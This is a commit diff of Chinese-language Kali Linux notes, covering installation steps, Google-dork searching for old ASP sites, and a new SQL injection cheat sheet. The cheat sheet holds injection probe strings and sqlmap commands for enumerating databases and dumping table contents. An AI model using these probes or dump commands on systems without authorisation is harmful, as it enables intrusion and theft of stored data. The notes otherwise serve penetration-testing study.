Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit ee5374a

Browse files
committed
2018-08-20
1 parent e089a99 commit ee5374a

File tree

3 files changed

+49
-1
lines changed

3 files changed

+49
-1
lines changed

markdown-file/kali-linux-settings/kali-linux-install.md

Lines changed: 11 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,17 @@
1212

1313
## 安装过程
1414

15-
- 最新的几个版本安装过程都是类似的,大家可以参考这个视频教程:
15+
- 这几年的几个版本安装过程都是类似的,大家可以参考这个视频教程:
1616
- <https://www.bilibili.com/video/av16009708?from=search&seid=4281822536286289531>
1717
- 其中,安装第一步选择中文,安装完成就会是中文的,不需要像上面这个视频那么麻烦。
1818
- 安装过程,比较差的机子差不多要 20 ~ 30 分钟。
19+
- 比较重点的几个步骤推荐:
20+
- `使用整个磁盘`
21+
- `将所有文件放在同一个分区中`
22+
- `分区设定结束并修改写入磁盘`
23+
- `将改动写入磁盘 -- 是`
24+
- `使用网络镜像 -- 是`
25+
26+
## 软件及系统升级
27+
28+
- `apt-get update && apt-get upgrade`

markdown-file/kali-linux-settings/kali-linux-penetration-test.md

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,6 +17,8 @@
1717
- DNS 记录分析
1818
- 路由信息
1919
- 利用搜索引擎搜索目标历史记录
20+
- Google Hack,根据 Google 的 `inurl` 等高级用法查询一些系统可能存在风险
21+
- 比如查找链接是:`asp?id=` 的链接。asp 的系统基本都比较老,对于老系统,要嘛废弃,要嘛还是废弃,不然没完没了的。
2022

2123
## 目标识别
2224

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
# SQL 注入
2+
3+
## 探测到底是不是通过拼接字符串方式使用 SQL
4+
5+
- 常用字符:
6+
7+
```
8+
'
9+
"
10+
' and 1=1
11+
' and 1=2
12+
1 or 1=1
13+
1' or '1'='1
14+
1" or "1"="1
15+
1' order by 1--
16+
union select 1,2--
17+
@@version
18+
@@datadir
19+
user()
20+
database()
21+
information_schema.tables
22+
23+
```
24+
25+
26+
## sqlmap 分析数据库和表名、dump 表数据
27+
28+
- 获取数据库和服务器信息:`sqlmap -u 目标网址 --dbs --current-user`
29+
- 获取有几张表:`sqlmap -u 目标网址 --tables`
30+
- 获取指定表的字段有哪些:`sqlmap -u 目标网址 -T 表名 --columns`
31+
- 获取指定表有哪些值:`sqlmap -u 目标网址 -T 表名 -C 字段名1,字段名2,字段名3 --dump`
32+
33+
34+
## 分析登录后台入口
35+
36+
- nikto

0 commit comments

Comments
 (0)